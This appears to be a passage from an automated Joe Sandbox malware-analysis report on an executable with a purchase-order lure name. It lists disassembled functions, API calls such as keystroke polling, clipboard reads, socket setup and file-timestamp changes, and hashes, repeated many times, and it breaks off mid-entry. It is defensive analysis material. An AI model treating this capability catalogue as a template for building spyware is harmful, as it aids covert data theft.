                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Error$Mode$DiskFreeLastSpace
                                                                                                                                                                      • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                                                                                                                      • API String ID: 4194297153-14809454
                                                                                                                                                                      • Opcode ID: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                      • Instruction ID: 49a1caac5541b587bc648ef7caa6256b54369420b38b3993b587487a6931f65b
                                                                                                                                                                      • Opcode Fuzzy Hash: 49e0e17e9479d30b414134c7f78092e00673ae1a45d158f41d80208550ba4cb8
                                                                                                                                                                      • Instruction Fuzzy Hash: BA31AD75A083009FC310EF55D98090BB7E1AF89315F448D6FF94997362D778E9068B6A
                                                                                                                                                                      Function 0047AD92 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                                        • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                        • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                      • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                        • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                      • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                                      • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                                      • CLSIDFromProgID.OLE32(00000000,?,?), ref: 0047AFCC
                                                                                                                                                                      • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorFromInitializeLastNameObjectParseProg_wcscpy
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 1915432386-2761332787
                                                                                                                                                                      • Opcode ID: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                      • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                                      • Opcode Fuzzy Hash: e5cc958d5f324366fbee3d2ecbe33304f19c15b46d8e68c756c5eb73bbadfcb0
                                                                                                                                                                      • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                                      Function 0044ED9A Relevance: 10.9, APIs: 2, Strings: 4, Instructions: 448COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID:
                                                                                                                                                                      • String ID: DEFINE$`$h$h
                                                                                                                                                                      • API String ID: 0-4194577831
                                                                                                                                                                      • Opcode ID: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                      • Instruction ID: b1cbab3e2140d6a963e4b85c5b61650905c2e88cbb7a9c7ccaf19de07e543520
                                                                                                                                                                      • Opcode Fuzzy Hash: 924177e0c3576f85a96b78a37b3c3cedf46843da4e7c3acb3e3d7f55582469aa
                                                                                                                                                                      • Instruction Fuzzy Hash: 9802A1715083818FE725CF29C88076BBBE2BFD5304F28896EE89587342D779D849CB56
                                                                                                                                                                      Function 0046483C Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • socket.WSOCK32(00000002,00000001,00000006,?,00000000), ref: 004648B0
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,?,00000000), ref: 004648BE
                                                                                                                                                                      • bind.WSOCK32(00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648DA
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 004648E6
                                                                                                                                                                      • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000005,00000000,?,00000010,00000002,00000001,00000006,?,00000000), ref: 0046492D
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLast$bindclosesocketsocket
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2609815416-0
                                                                                                                                                                      • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                      • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                                                                                      • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                      • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                                                                                      Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                                                                                      • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                                      • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                                      • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                                        • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                      • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 2547909840-0
                                                                                                                                                                      • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                      • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                                      • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                      • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                                      Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                      • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                                      • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                                      • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                                      • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                                      • String ID: *.*
                                                                                                                                                                      • API String ID: 2693929171-438819550
                                                                                                                                                                      • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                      • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                                                                                      • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                      • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                                                                                      Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                      • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                      • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                      • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                      • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                      • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                      • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                      • String ID: HH
                                                                                                                                                                      • API String ID: 589737431-2761332787
                                                                                                                                                                      • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                      • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                                                                                      • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                      • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                                                                                      Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                                      • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                                      • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                                      • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: __wcsicollmouse_event
                                                                                                                                                                      • String ID: DOWN
                                                                                                                                                                      • API String ID: 1033544147-711622031
                                                                                                                                                                      • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                      • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                                      • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                      • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                                      Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                      • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                                                                                      • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4170576061-0
                                                                                                                                                                      • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                      • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                                                                                      • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                      • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                                                                                      Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                      • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                      • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                      • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3539004672-0
                                                                                                                                                                      • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                      • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                                      • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                      • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                                      Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                      • IsWindowVisible.USER32 ref: 00477314
                                                                                                                                                                      • IsWindowEnabled.USER32 ref: 00477324
                                                                                                                                                                      • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                                                                                      • IsIconic.USER32 ref: 0047733F
                                                                                                                                                                      • IsZoomed.USER32 ref: 0047734D
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 292994002-0
                                                                                                                                                                      • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                      • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                                                                                      • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                      • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                                                                                      Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,75923220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                      • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                                      • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: File$CloseCreateHandleTime
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3397143404-0
                                                                                                                                                                      • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                      • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                                      • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                      • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                                      Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: _strncmp
                                                                                                                                                                      • String ID: ACCEPT$^$h
                                                                                                                                                                      • API String ID: 909875538-4263704089
                                                                                                                                                                      • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                      • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                                                                                      • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                      • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                                                                                      Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
